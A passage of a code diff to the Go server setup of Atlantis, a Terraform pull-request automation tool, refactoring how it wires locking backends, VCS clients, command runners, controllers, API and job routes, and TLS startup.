cacheDir, err := mkSubDir(userConfig.DataDir, TerraformPluginCacheDirName) + + if err != nil { + return nil, err + } + + parsedURL, err := ParseAtlantisURL(userConfig.AtlantisURL) + if err != nil { + return nil, errors.Wrapf(err, "parsing --%s flag %q", config.AtlantisURLFlag, userConfig.AtlantisURL) + } + + underlyingRouter := mux.NewRouter() + router := &Router{ + AtlantisURL: parsedURL, + LockViewRouteIDQueryParam: LockViewRouteIDQueryParam, + LockViewRouteName: LockViewRouteName, + ProjectJobsViewRouteName: ProjectJobsViewRouteName, + Underlying: underlyingRouter, + } + + var projectCmdOutputHandler jobs.ProjectCommandOutputHandler + + if userConfig.TFEToken != "" && !userConfig.TFELocalExecutionMode { + // When TFE is enabled and using remote execution mode log streaming is not necessary. + projectCmdOutputHandler = &jobs.NoopProjectOutputHandler{} + } else { + projectCmdOutput := make(chan *jobs.ProjectCmdOutputLine) + projectCmdOutputHandler = jobs.NewAsyncProjectCommandOutputHandler( + projectCmdOutput, + logger, + ) + } + + distribution := terraform.NewDistribution(userConfig.DefaultTFDistribution) + + terraformClient, err := tfclient.NewClient( logger, - userConfig.DataDir, + distribution, + binDir, + cacheDir, userConfig.TFEToken, userConfig.TFEHostname, userConfig.DefaultTFVersion, config.DefaultTFVersionFlag, userConfig.TFDownloadURL, - &terraform.DefaultDownloader{}, - true) + userConfig.TFDownload, + userConfig.UseTFPluginCache, + projectCmdOutputHandler) // The flag.Lookup call is to detect if we're running in a unit test. If we // are, then we don't error out because we don't have/want terraform // installed on our CI system where the unit tests run. if err != nil && flag.Lookup("test.v") == nil { - return nil, errors.Wrap(err, "initializing terraform") + return nil, errors.Wrap(err, fmt.Sprintf("initializing %s", userConfig.DefaultTFDistribution)) } - markdownRenderer := &events.MarkdownRenderer{ - GitlabSupportsCommonMark: gitlabClient.SupportsCommonMark(), - DisableApplyAll: userConfig.DisableApplyAll, - DisableMarkdownFolding: userConfig.DisableMarkdownFolding, - DisableApply: userConfig.DisableApply, + markdownRenderer := events.NewMarkdownRenderer( + gitlabClient.SupportsCommonMark(), + userConfig.DisableApplyAll, + disableApply, + userConfig.DisableMarkdownFolding, + userConfig.DisableRepoLocking, + userConfig.EnableDiffMarkdownFormat, + userConfig.MarkdownTemplateOverridesDir, + userConfig.ExecutableName, + userConfig.HideUnchangedPlanComments, + userConfig.QuietPolicyChecks, + ) + + var lockingClient locking.Locker + var applyLockingClient locking.ApplyLocker + var backend locking.Backend + + switch dbtype := userConfig.LockingDBType; dbtype { + case "redis": + logger.Info("Utilizing Redis DB") + backend, err = redis.New(userConfig.RedisHost, userConfig.RedisPort, userConfig.RedisPassword, userConfig.RedisTLSEnabled, userConfig.RedisInsecureSkipVerify, userConfig.RedisDB) + if err != nil { + return nil, err + } + case "boltdb": + logger.Info("Utilizing BoltDB") + backend, err = db.New(userConfig.DataDir) + if err != nil { + return nil, err + } } - boltdb, err := db.New(userConfig.DataDir) - if err != nil { - return nil, err + noOpLocker := locking.NewNoOpLocker() + if userConfig.DisableRepoLocking { + logger.Info("Repo Locking is disabled") + lockingClient = noOpLocker + } else { + lockingClient = locking.NewClient(backend) + } + disableGlobalApplyLock := false + if userConfig.DisableGlobalApplyLock { + disableGlobalApplyLock = true } - lockingClient := locking.NewClient(boltdb) + + applyLockingClient = locking.NewApplyClient(backend, disableApply, disableGlobalApplyLock) workingDirLocker := events.NewDefaultWorkingDirLocker() var workingDir events.WorkingDir = &events.FileWorkspace{ - DataDir: userConfig.DataDir, - CheckoutMerge: userConfig.CheckoutStrategy == "merge", + DataDir: userConfig.DataDir, + CheckoutMerge: userConfig.CheckoutStrategy == "merge", + CheckoutDepth: userConfig.CheckoutDepth, + GithubAppEnabled: githubAppEnabled, } + + scheduledExecutorService := scheduled.NewExecutorService( + statsScope, + logger, + ) + // provide fresh tokens before clone from the GitHub Apps integration, proxy workingDir if githubAppEnabled { if !userConfig.WriteGitCreds { @@ -276,59 +544,57 @@ func NewServer(userConfig UserConfig, config Config) (*Server, error) { Credentials: githubCredentials, GithubHostname: userConfig.GithubHostname, } + + githubAppTokenRotator := vcs.NewGithubTokenRotator(logger, githubCredentials, userConfig.GithubHostname, "x-access-token", home) + tokenJd, err := githubAppTokenRotator.GenerateJob() + if err != nil { + return nil, errors.Wrap(err, "could not write credentials") + } + scheduledExecutorService.AddJob(tokenJd) + } + + if userConfig.GithubUser != "" && userConfig.GithubTokenFile != "" && userConfig.WriteGitCreds { + githubTokenRotator := vcs.NewGithubTokenRotator(logger, githubCredentials, userConfig.GithubHostname, userConfig.GithubUser, home) + tokenJd, err := githubTokenRotator.GenerateJob() + if err != nil { + return nil, errors.Wrap(err, "could not write credentials") + } + scheduledExecutorService.AddJob(tokenJd) } projectLocker := &events.DefaultProjectLocker{ - Locker: lockingClient, - VCSClient: vcsClient, + Locker: lockingClient, + NoOpLocker: noOpLocker, + VCSClient: vcsClient, } deleteLockCommand := &events.DefaultDeleteLockCommand{ Locker: lockingClient, - Logger: logger, WorkingDir: workingDir, WorkingDirLocker: workingDirLocker, - DB: boltdb, - } - - parsedURL, err := ParseAtlantisURL(userConfig.AtlantisURL) - if err != nil { - return nil, errors.Wrapf(err, - "parsing --%s flag %q", config.AtlantisURLFlag, userConfig.AtlantisURL) + Backend: backend, } - validator := &yaml.ParserValidator{} - globalCfg := valid.NewGlobalCfg(userConfig.AllowRepoConfig, userConfig.RequireMergeable, userConfig.RequireApproval) - if userConfig.RepoConfig != "" { - globalCfg, err = validator.ParseGlobalCfg(userConfig.RepoConfig, globalCfg) - if err != nil { - return nil, errors.Wrapf(err, "parsing %s file", userConfig.RepoConfig) - } - } else if userConfig.RepoConfigJSON != "" { - globalCfg, err = validator.ParseGlobalCfgJSON(userConfig.RepoConfigJSON, globalCfg) - if err != nil { - return nil, errors.Wrapf(err, "parsing --%s", config.RepoConfigJSONFlag) - } - } + pullClosedExecutor := events.NewInstrumentedPullClosedExecutor( + statsScope, + logger, + &events.PullClosedExecutor{ + Locker: lockingClient, + WorkingDir: workingDir, + Backend: backend, + PullClosedTemplate: &events.PullClosedEventTemplate{}, + LogStreamResourceCleaner: projectCmdOutputHandler, + VCSClient: vcsClient, + }, + ) - underlyingRouter := mux.NewRouter() - router := &Router{ - AtlantisURL: parsedURL, - LockViewRouteIDQueryParam: LockViewRouteIDQueryParam, - LockViewRouteName: LockViewRouteName, - Underlying: underlyingRouter, - } - pullClosedExecutor := &events.PullClosedExecutor{ - VCSClient: vcsClient, - Locker: lockingClient, - WorkingDir: workingDir, - Logger: logger, - DB: boltdb, - } eventParser := &events.EventParser{ GithubUser: userConfig.GithubUser, GithubToken: userConfig.GithubToken, + GithubTokenFile: userConfig.GithubTokenFile, GitlabUser: userConfig.GitlabUser, GitlabToken: userConfig.GitlabToken, + GiteaUser: userConfig.GiteaUser, + GiteaToken: userConfig.GiteaToken, AllowDraftPRs: userConfig.PlanDrafts, BitbucketUser: userConfig.BitbucketUser, BitbucketToken: userConfig.BitbucketToken, @@ -336,126 +602,393 @@ func NewServer(userConfig UserConfig, config Config) (*Server, error) { AzureDevopsUser: userConfig.AzureDevopsUser, AzureDevopsToken: userConfig.AzureDevopsToken, } - commentParser := &events.CommentParser{ - GithubUser: userConfig.GithubUser, - GitlabUser: userConfig.GitlabUser, - BitbucketUser: userConfig.BitbucketUser, - AzureDevopsUser: userConfig.AzureDevopsUser, - ApplyDisabled: userConfig.DisableApply, - } + commentParser := events.NewCommentParser( + userConfig.GithubUser, + userConfig.GitlabUser, + userConfig.GiteaUser, + userConfig.BitbucketUser, + userConfig.AzureDevopsUser, + userConfig.ExecutableName, + allowCommands, + ) + defaultTfDistribution := terraformClient.DefaultDistribution() defaultTfVersion := terraformClient.DefaultVersion() pendingPlanFinder := &events.DefaultPendingPlanFinder{} runStepRunner := &runtime.RunStepRunner{ - TerraformExecutor: terraformClient, - DefaultTFVersion: defaultTfVersion, - TerraformBinDir: terraformClient.TerraformBinDir(), + TerraformExecutor: terraformClient, + DefaultTFDistribution: defaultTfDistribution, + DefaultTFVersion: defaultTfVersion, + TerraformBinDir: terraformClient.TerraformBinDir(), + ProjectCmdOutputHandler: projectCmdOutputHandler, } drainer := &events.Drainer{} - statusController := &StatusController{ - Logger: logger, - Drainer: drainer, + statusController := &controllers.StatusController{ + Logger: logger, + Drainer: drainer, + AtlantisVersion: config.AtlantisVersion, } - commandRunner := &events.DefaultCommandRunner{ - VCSClient: vcsClient, - GithubPullGetter: githubClient, - GitlabMergeRequestGetter: gitlabClient, - AzureDevopsPullGetter: azuredevopsClient, - CommitStatusUpdater: commitStatusUpdater, - EventParser: eventParser, - MarkdownRenderer: markdownRenderer, - Logger: logger, - AllowForkPRs: userConfig.AllowForkPRs, - AllowForkPRsFlag: config.AllowForkPRsFlag, - HidePrevPlanComments: userConfig.HidePrevPlanComments, - SilenceForkPRErrors: userConfig.SilenceForkPRErrors, - SilenceForkPRErrorsFlag: config.SilenceForkPRErrorsFlag, - SilenceVCSStatusNoPlans: userConfig.SilenceVCSStatusNoPlans, - DisableApplyAll: userConfig.DisableApplyAll, - DisableApply: userConfig.DisableApply, - DisableAutoplan: userConfig.DisableAutoplan, - ParallelPoolSize: userConfig.ParallelPoolSize, - ProjectCommandBuilder: &events.DefaultProjectCommandBuilder{ - ParserValidator: validator, - ProjectFinder: &events.DefaultProjectFinder{}, - VCSClient: vcsClient, - WorkingDir: workingDir, - WorkingDirLocker: workingDirLocker, - GlobalCfg: globalCfg, - PendingPlanFinder: pendingPlanFinder, - CommentBuilder: commentParser, - SkipCloneNoChanges: userConfig.SkipCloneNoChanges, + preWorkflowHooksCommandRunner := &events.DefaultPreWorkflowHooksCommandRunner{ + VCSClient: vcsClient, + GlobalCfg: globalCfg, + WorkingDirLocker: workingDirLocker, + WorkingDir: workingDir, + PreWorkflowHookRunner: runtime.DefaultPreWorkflowHookRunner{ + OutputHandler: projectCmdOutputHandler, + }, + CommitStatusUpdater: commitStatusUpdater, + Router: router, + } + postWorkflowHooksCommandRunner := &events.DefaultPostWorkflowHooksCommandRunner{ + VCSClient: vcsClient, + GlobalCfg: globalCfg, + WorkingDirLocker: workingDirLocker, + WorkingDir: workingDir, + PostWorkflowHookRunner: runtime.DefaultPostWorkflowHookRunner{ + OutputHandler: projectCmdOutputHandler, }, - ProjectCommandRunner: &events.DefaultProjectCommandRunner{ - Locker: projectLocker, - LockURLGenerator: router, - InitStepRunner: &runtime.InitStepRunner{ - TerraformExecutor: terraformClient, - DefaultTFVersion: defaultTfVersion, - }, - PlanStepRunner: &runtime.PlanStepRunner{ - TerraformExecutor: terraformClient, - DefaultTFVersion: defaultTfVersion, - CommitStatusUpdater: commitStatusUpdater, - AsyncTFExec: terraformClient, - }, - ApplyStepRunner: &runtime.ApplyStepRunner{ - TerraformExecutor: terraformClient, - CommitStatusUpdater: commitStatusUpdater, - AsyncTFExec: terraformClient, - }, + CommitStatusUpdater: commitStatusUpdater, + Router: router, + } + projectCommandBuilder := events.NewInstrumentedProjectCommandBuilder( + logger, + policyChecksEnabled, + parserValidator, + &events.DefaultProjectFinder{}, + vcsClient, + workingDir, + workingDirLocker, + globalCfg, + pendingPlanFinder, + commentParser, + userConfig.SkipCloneNoChanges, + userConfig.EnableRegExpCmd, + userConfig.Automerge, + userConfig.ParallelPlan, + userConfig.ParallelApply, + userConfig.AutoplanModulesFromProjects, + userConfig.AutoplanFileList, + userConfig.RestrictFileList, + userConfig.SilenceNoProjects, + userConfig.IncludeGitUntrackedFiles, + userConfig.AutoDiscoverModeFlag, + statsScope, + terraformClient, + ) + + showStepRunner, err := runtime.NewShowStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion) + + if err != nil { + return nil, errors.Wrap(err, "initializing show step runner") + } + + policyCheckStepRunner, err := runtime.NewPolicyCheckStepRunner( + defaultTfDistribution, + defaultTfVersion, + policy.NewConfTestExecutorWorkflow(logger, binDir, &policy.ConfTestGoGetterVersionDownloader{}), + ) + + if err != nil { + return nil, errors.Wrap(err, "initializing policy check step runner") + } + + applyRequirementHandler := &events.DefaultCommandRequirementHandler{ + WorkingDir: workingDir, + } + + projectCommandRunner := &events.DefaultProjectCommandRunner{ + VcsClient: vcsClient, + Locker: projectLocker, + LockURLGenerator: router, + Logger: logger, + InitStepRunner: &runtime.InitStepRunner{ + TerraformExecutor: terraformClient, + DefaultTFDistribution: defaultTfDistribution, + DefaultTFVersion: defaultTfVersion, + }, + PlanStepRunner: runtime.NewPlanStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion, commitStatusUpdater, terraformClient), + ShowStepRunner: showStepRunner, + PolicyCheckStepRunner: policyCheckStepRunner, + ApplyStepRunner: &runtime.ApplyStepRunner{ + TerraformExecutor: terraformClient, + DefaultTFDistribution: defaultTfDistribution, + DefaultTFVersion: defaultTfVersion, + CommitStatusUpdater: commitStatusUpdater, + AsyncTFExec: terraformClient, + }, + RunStepRunner: runStepRunner, + EnvStepRunner: &runtime.EnvStepRunner{ RunStepRunner: runStepRunner, - EnvStepRunner: &runtime.EnvStepRunner{ - RunStepRunner: runStepRunner, - }, - PullApprovedChecker: vcsClient, - WorkingDir: workingDir, - Webhooks: webhooksManager, - WorkingDirLocker: workingDirLocker, }, - WorkingDir: workingDir, - PendingPlanFinder: pendingPlanFinder, - DB: boltdb, - DeleteLockCommand: deleteLockCommand, - GlobalAutomerge: userConfig.Automerge, - Drainer: drainer, + MultiEnvStepRunner: &runtime.MultiEnvStepRunner{ + RunStepRunner: runStepRunner, + }, + VersionStepRunner: &runtime.VersionStepRunner{ + TerraformExecutor: terraformClient, + DefaultTFVersion: defaultTfVersion, + }, + ImportStepRunner: runtime.NewImportStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion), + StateRmStepRunner: runtime.NewStateRmStepRunner(terraformClient, defaultTfDistribution, defaultTfVersion), + WorkingDir: workingDir, + Webhooks: webhooksManager, + WorkingDirLocker: workingDirLocker, + CommandRequirementHandler: applyRequirementHandler, + } + + dbUpdater := &events.DBUpdater{ + Backend: backend, + } + + pullUpdater := &events.PullUpdater{ + HidePrevPlanComments: userConfig.HidePrevPlanComments, + VCSClient: vcsClient, + MarkdownRenderer: markdownRenderer, + } + + autoMerger := &events.AutoMerger{ + VCSClient: vcsClient, + GlobalAutomerge: userConfig.Automerge, + } + + projectOutputWrapper := &events.ProjectOutputWrapper{ + JobMessageSender: projectCmdOutputHandler, + ProjectCommandRunner: projectCommandRunner, + JobURLSetter: jobs.NewJobURLSetter(router, commitStatusUpdater), + } + instrumentedProjectCmdRunner := events.NewInstrumentedProjectCommandRunner( + statsScope, + projectOutputWrapper, + ) + + policyCheckCommandRunner := events.NewPolicyCheckCommandRunner( + dbUpdater, + pullUpdater, + commitStatusUpdater, + instrumentedProjectCmdRunner, + userConfig.ParallelPoolSize, + userConfig.SilenceVCSStatusNoProjects, + userConfig.QuietPolicyChecks, + ) + + pullReqStatusFetcher := vcs.NewPullReqStatusFetcher(vcsClient, userConfig.VCSStatusName, strings.Split(userConfig.IgnoreVCSStatusNames, ",")) + planCommandRunner := events.NewPlanCommandRunner( + userConfig.SilenceVCSStatusNoPlans, + userConfig.SilenceVCSStatusNoProjects, + vcsClient, + pendingPlanFinder, + workingDir, + commitStatusUpdater, + projectCommandBuilder, + instrumentedProjectCmdRunner, + dbUpdater, + pullUpdater, + policyCheckCommandRunner, + autoMerger, + userConfig.ParallelPoolSize, + userConfig.SilenceNoProjects, + backend, + lockingClient, + userConfig.DiscardApprovalOnPlanFlag, + pullReqStatusFetcher, + ) + + applyCommandRunner := events.NewApplyCommandRunner( + vcsClient, + userConfig.DisableApplyAll, + applyLockingClient, + commitStatusUpdater, + projectCommandBuilder, + instrumentedProjectCmdRunner, + autoMerger, + pullUpdater, + dbUpdater, + backend, + userConfig.ParallelPoolSize, + userConfig.SilenceNoProjects, + userConfig.SilenceVCSStatusNoProjects, + pullReqStatusFetcher, + ) + + approvePoliciesCommandRunner := events.NewApprovePoliciesCommandRunner( + commitStatusUpdater, + projectCommandBuilder, + instrumentedProjectCmdRunner, + pullUpdater, + dbUpdater, + userConfig.SilenceNoProjects, + userConfig.SilenceVCSStatusNoPlans, + vcsClient, + ) + + unlockCommandRunner := events.NewUnlockCommandRunner( + deleteLockCommand, + vcsClient, + userConfig.SilenceNoProjects, + userConfig.DisableUnlockLabel, + ) + + versionCommandRunner := events.NewVersionCommandRunner( + pullUpdater, + projectCommandBuilder, + projectOutputWrapper, + userConfig.ParallelPoolSize, + userConfig.SilenceNoProjects, + ) + + importCommandRunner := events.NewImportCommandRunner( + pullUpdater, + pullReqStatusFetcher, + projectCommandBuilder, + instrumentedProjectCmdRunner, + userConfig.SilenceNoProjects, + ) + + stateCommandRunner := events.NewStateCommandRunner( + pullUpdater, + projectCommandBuilder, + instrumentedProjectCmdRunner, + ) + + commentCommandRunnerByCmd := map[command.Name]events.CommentCommandRunner{ + command.Plan: planCommandRunner, + command.Apply: applyCommandRunner, + command.ApprovePolicies: approvePoliciesCommandRunner, + command.Unlock: unlockCommandRunner, + command.Version: versionCommandRunner, + command.Import: importCommandRunner, + command.State: stateCommandRunner, + } + + var teamAllowlistChecker command.TeamAllowlistChecker + if globalCfg.TeamAuthz.Command != "" { + teamAllowlistChecker = &events.ExternalTeamAllowlistChecker{ + Command: globalCfg.TeamAuthz.Command, + ExtraArgs: globalCfg.TeamAuthz.Args, + ExternalTeamAllowlistRunner: &runtime.DefaultExternalTeamAllowlistRunner{}, + } + } else if userConfig.GitlabUser != "" { + teamAllowlistChecker, err = command.NewTeamAllowlistChecker(userConfig.GitlabGroupAllowlist) + if err != nil { + return nil, err + } + } else { + teamAllowlistChecker, err = command.NewTeamAllowlistChecker(userConfig.GithubTeamAllowlist) + if err != nil { + return nil, err + } + } + + varFileAllowlistChecker, err := events.NewVarFileAllowlistChecker(userConfig.VarFileAllowlist) + if err != nil { + return nil, err + } + + commandRunner := &events.DefaultCommandRunner{ + VCSClient: vcsClient, + GithubPullGetter: githubClient, + GitlabMergeRequestGetter: gitlabClient, + AzureDevopsPullGetter: azuredevopsClient, + GiteaPullGetter: giteaClient, + CommentCommandRunnerByCmd: commentCommandRunnerByCmd, + EventParser: eventParser, + FailOnPreWorkflowHookError: userConfig.FailOnPreWorkflowHookError, + Logger: logger, + GlobalCfg: globalCfg, + StatsScope: statsScope.SubScope("cmd"), + AllowForkPRs: userConfig.AllowForkPRs, + AllowForkPRsFlag: config.AllowForkPRsFlag, + SilenceForkPRErrors: userConfig.SilenceForkPRErrors, + SilenceForkPRErrorsFlag: config.SilenceForkPRErrorsFlag, + DisableAutoplan: userConfig.DisableAutoplan, + DisableAutoplanLabel: userConfig.DisableAutoplanLabel, + Drainer: drainer, + PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, + PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, + PullStatusFetcher: backend, + TeamAllowlistChecker: teamAllowlistChecker, + VarFileAllowlistChecker: varFileAllowlistChecker, + CommitStatusUpdater: commitStatusUpdater, } repoAllowlist, err := events.NewRepoAllowlistChecker(userConfig.RepoAllowlist) if err != nil { return nil, err } - locksController := &LocksController{ + locksController := &controllers.LocksController{ AtlantisVersion: config.AtlantisVersion, AtlantisURL: parsedURL, Locker: lockingClient, + ApplyLocker: applyLockingClient, Logger: logger, VCSClient: vcsClient, - LockDetailTemplate: lockTemplate, + LockDetailTemplate: web_templates.LockTemplate, WorkingDir: workingDir, WorkingDirLocker: workingDirLocker, - DB: boltdb, + Backend: backend, DeleteLockCommand: deleteLockCommand, } - eventsController := &EventsController{ + + wsMux := websocket.NewMultiplexor( + logger, + controllers.JobIDKeyGenerator{}, + projectCmdOutputHandler, + userConfig.WebsocketCheckOrigin, + ) + + jobsController := &controllers.JobsController{ + AtlantisVersion: config.AtlantisVersion, + AtlantisURL: parsedURL, + Logger: logger, + ProjectJobsTemplate: web_templates.ProjectJobsTemplate, + ProjectJobsErrorTemplate: web_templates.ProjectJobsErrorTemplate, + Backend: backend, + WsMux: wsMux, + KeyGenerator: controllers.JobIDKeyGenerator{}, + StatsScope: statsScope.SubScope("api"), + } + + apiController := &controllers.APIController{ + APISecret: []byte(userConfig.APISecret), + Locker: lockingClient, + Logger: logger, + Parser: eventParser, + ProjectCommandBuilder: projectCommandBuilder, + ProjectPlanCommandRunner: instrumentedProjectCmdRunner, + ProjectApplyCommandRunner: instrumentedProjectCmdRunner, + FailOnPreWorkflowHookError: userConfig.FailOnPreWorkflowHookError, + PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, + PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, + RepoAllowlistChecker: repoAllowlist, + Scope: statsScope.SubScope("api"), + VCSClient: vcsClient, + WorkingDir: workingDir, + WorkingDirLocker: workingDirLocker, + CommitStatusUpdater: commitStatusUpdater, + } + + eventsController := &events_controllers.VCSEventsController{ CommandRunner: commandRunner, PullCleaner: pullClosedExecutor, Parser: eventParser, CommentParser: commentParser, Logger: logger, - ApplyDisabled: userConfig.DisableApply, + Scope: statsScope, + ApplyDisabled: disableApply, GithubWebhookSecret: []byte(userConfig.GithubWebhookSecret), - GithubRequestValidator: &DefaultGithubRequestValidator{}, - GitlabRequestParserValidator: &DefaultGitlabRequestParserValidator{}, + GithubRequestValidator: &events_controllers.DefaultGithubRequestValidator{}, + GitlabRequestParserValidator: &events_controllers.DefaultGitlabRequestParserValidator{}, GitlabWebhookSecret: []byte(userConfig.GitlabWebhookSecret), RepoAllowlistChecker: repoAllowlist, SilenceAllowlistErrors: userConfig.SilenceAllowlistErrors, + EmojiReaction: userConfig.EmojiReaction, + ExecutableName: userConfig.ExecutableName, SupportedVCSHosts: supportedVCSHosts, VCSClient: vcsClient, BitbucketWebhookSecret: []byte(userConfig.BitbucketWebhookSecret), AzureDevopsWebhookBasicUser: []byte(userConfig.AzureDevopsWebhookUser), AzureDevopsWebhookBasicPassword: []byte(userConfig.AzureDevopsWebhookPassword), - AzureDevopsRequestValidator: &DefaultAzureDevopsRequestValidator{}, + AzureDevopsRequestValidator: &events_controllers.DefaultAzureDevopsRequestValidator{}, + GiteaWebhookSecret: []byte(userConfig.GiteaWebhookSecret), } - githubAppController := &GithubAppController{ + githubAppController := &controllers.GithubAppController{ AtlantisURL: parsedURL, Logger: logger, GithubSetupComplete: githubAppEnabled, @@ -463,24 +996,50 @@ func NewServer(userConfig UserConfig, config Config) (*Server, error) { GithubOrg: userConfig.GithubOrg, } - return &Server{ - AtlantisVersion: config.AtlantisVersion, - AtlantisURL: parsedURL, - Router: underlyingRouter, - Port: userConfig.Port, - CommandRunner: commandRunner, - Logger: logger, - Locker: lockingClient, - EventsController: eventsController, - GithubAppController: githubAppController, - LocksController: locksController, - StatusController: statusController, - IndexTemplate: indexTemplate, - LockDetailTemplate: lockTemplate, - SSLKeyFile: userConfig.SSLKeyFile, - SSLCertFile: userConfig.SSLCertFile, - Drainer: drainer, - }, nil + server := &Server{ + AtlantisVersion: config.AtlantisVersion, + AtlantisURL: parsedURL, + Router: underlyingRouter, + Port: userConfig.Port, + PostWorkflowHooksCommandRunner: postWorkflowHooksCommandRunner, + PreWorkflowHooksCommandRunner: preWorkflowHooksCommandRunner, + CommandRunner: commandRunner, + Logger: logger, + StatsScope: statsScope, + StatsReporter: statsReporter, + StatsCloser: closer, + Locker: lockingClient, + ApplyLocker: applyLockingClient, + VCSEventsController: eventsController, + GithubAppController: githubAppController, + LocksController: locksController, + JobsController: jobsController, + StatusController: statusController, + APIController: apiController, + IndexTemplate: web_templates.IndexTemplate, + LockDetailTemplate: web_templates.LockTemplate, + ProjectJobsTemplate: web_templates.ProjectJobsTemplate, + ProjectJobsErrorTemplate: web_templates.ProjectJobsErrorTemplate, + SSLKeyFile: userConfig.SSLKeyFile, + SSLCertFile: userConfig.SSLCertFile, + DisableGlobalApplyLock: userConfig.DisableGlobalApplyLock, + Drainer: drainer, + ProjectCmdOutputHandler: projectCmdOutputHandler, + WebAuthentication: userConfig.WebBasicAuth, + WebUsername: userConfig.WebUsername, + WebPassword: userConfig.WebPassword, + ScheduledExecutorService: scheduledExecutorService, + EnableProfilingAPI: userConfig.EnableProfilingAPI, + } + + validate := validator.New(validator.WithRequiredStructEnabled()) + + err = validate.Struct(server) + if err != nil { + return nil, err + } else { + return server, nil + } } // Start creates the routes and starts serving traffic. @@ -490,33 +1049,70 @@ func (s *Server) Start() error { }) s.Router.HandleFunc("/healthz", s.Healthz).Methods("GET") s.Router.HandleFunc("/status", s.StatusController.Get).Methods("GET") - s.Router.PathPrefix("/static/").Handler(http.FileServer(&assetfs.AssetFS{Asset: static.Asset, AssetDir: static.AssetDir, AssetInfo: static.AssetInfo})) - s.Router.HandleFunc("/events", s.EventsController.Post).Methods("POST") + s.Router.PathPrefix("/static/").Handler(http.FileServer(http.FS(staticAssets))) + s.Router.HandleFunc("/events", s.VCSEventsController.Post).Methods("POST") + s.Router.HandleFunc("/api/plan", s.APIController.Plan).Methods("POST") + s.Router.HandleFunc("/api/apply", s.APIController.Apply).Methods("POST") + s.Router.HandleFunc("/api/locks", s.APIController.ListLocks).Methods("GET") s.Router.HandleFunc("/github-app/exchange-code", s.GithubAppController.ExchangeCode).Methods("GET") s.Router.HandleFunc("/github-app/setup", s.GithubAppController.New).Methods("GET") s.Router.HandleFunc("/locks", s.LocksController.DeleteLock).Methods("DELETE").Queries("id", "{id:.*}") s.Router.HandleFunc("/lock", s.LocksController.GetLock).Methods("GET"). Queries(LockViewRouteIDQueryParam, fmt.Sprintf("{%s}", LockViewRouteIDQueryParam)).Name(LockViewRouteName) + s.Router.HandleFunc("/jobs/{job-id}", s.JobsController.GetProjectJobs).Methods("GET").Name(ProjectJobsViewRouteName) + s.Router.HandleFunc("/jobs/{job-id}/ws", s.JobsController.GetProjectJobsWS).Methods("GET") + + r, ok := s.StatsReporter.(prometheus.Reporter) + if ok { + s.Router.Handle(s.CommandRunner.GlobalCfg.Metrics.Prometheus.Endpoint, r.HTTPHandler()) + } + if !s.DisableGlobalApplyLock { + s.Router.HandleFunc("/apply/lock", s.LocksController.LockApply).Methods("POST").Queries() + s.Router.HandleFunc("/apply/unlock", s.LocksController.UnlockApply).Methods("DELETE").Queries() + } + + if s.EnableProfilingAPI { + for p, h := range map[string]http.HandlerFunc{ + "/": pprof.Index, + "/cmdline": pprof.Cmdline, + "/profile": pprof.Profile, + "/symbol": pprof.Symbol, + "/trace": pprof.Trace, + } { + s.Router.HandleFunc("/debug/pprof"+p, h).Methods("GET") + } + } + n := negroni.New(&negroni.Recovery{ Logger: log.New(os.Stdout, "", log.LstdFlags), PrintStack: false, StackAll: false, StackSize: 1024 * 8, - }, NewRequestLogger(s.Logger)) + }, NewRequestLogger(s)) n.UseHandler(s.Router) + defer s.Logger.Flush() + // Ensure server gracefully drains connections when stopped. stop := make(chan os.Signal, 1) // Stop on SIGINTs and SIGTERMs. signal.Notify(stop, os.Interrupt, syscall.SIGTERM) - server := &http.Server{Addr: fmt.Sprintf(":%d", s.Port), Handler: n} + go s.ScheduledExecutorService.Run() + + go func() { + s.ProjectCmdOutputHandler.Handle() + }() + + tlsConfig := &tls.Config{GetCertificate: s.GetSSLCertificate, MinVersion: tls.VersionTLS12} + + server := &http.Server{Addr: fmt.Sprintf(":%d", s.Port), Handler: n, TLSConfig: tlsConfig, ReadHeaderTimeout: 10 * time.Second} go func() { s.Logger.Info("Atlantis started - listening on port %v", s.Port) var err error if s.SSLCertFile != "" && s.SSLKeyFile != "" { - err = server.ListenAndServeTLS(s.SSLCertFile, s.SSLKeyFile) + err = server.ListenAndServeTLS("", "") } else { err = server.ListenAndServe() } @@ -529,9 +1125,16 @@ func (s *Server) Start() error { s.Logger.Warn("Received interrupt. Waiting for in-progress operations to complete") s.waitForDrain() - ctx, _ := context.WithTimeout(context.Background(), 5*time.Second) // nolint: vet + + // flush stats before shutdown + if err := s.StatsCloser.Close(); err != nil { + s.Logger.Err(err.Error()) + } + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() if err := server.Shutdown(ctx); err != nil { - return cli.NewExitError(fmt.Sprintf("while shutting down: %s", err), 1) + return fmt.Errorf("while shutting down: %s", err) } return nil } @@ -564,49 +1167,127 @@ func (s *Server) Index(w http.ResponseWriter, _ *http.Request) { return } - var lockResults []LockIndexData + var lockResults []web_templates.LockIndexData for id, v := range locks { lockURL, _ := s.Router.Get(LockViewRouteName).URL("id", url.QueryEscape(id)) - lockResults = append(lockResults, LockIndexData{ + lockResults = append(lockResults, web_templates.LockIndexData{ // NOTE: must use .String() instead of .Path because we need the // query params as part of the lock URL. LockPath: lockURL.String(), RepoFullName: v.Project.RepoFullName, + LockedBy: v.Pull.Author, PullNum: v.Pull.Num, Path: v.Project.Path, Workspace: v.Workspace, Time: v.Time, - TimeFormatted: v.Time.Format("02-01-2006 15:04:05"), + TimeFormatted: v.Time.Format("2006-01-02 15:04:05"), }) } + applyCmdLock, err := s.ApplyLocker.CheckApplyLock() + s.Logger.Debug("Apply Lock: %v", applyCmdLock) + if err != nil { + w.WriteHeader(http.StatusServiceUnavailable) + fmt.Fprintf(w, "Could not retrieve global apply lock: %s", err) + return + } + + applyLockData := web_templates.ApplyLockData{ + Time: applyCmdLock.Time, + Locked: applyCmdLock.Locked, + GlobalApplyLockEnabled: applyCmdLock.GlobalApplyLockEnabled, + TimeFormatted: applyCmdLock.Time.Format("2006-01-02 15:04:05"), + } //Sort by date - newest to oldest. sort.SliceStable(lockResults, func(i, j int) bool { return lockResults[i].Time.After(lockResults[j].Time) }) - err = s.IndexTemplate.Execute(w, IndexData{ - Locks: lockResults, - AtlantisVersion: s.AtlantisVersion, - CleanedBasePath: s.AtlantisURL.Path, + 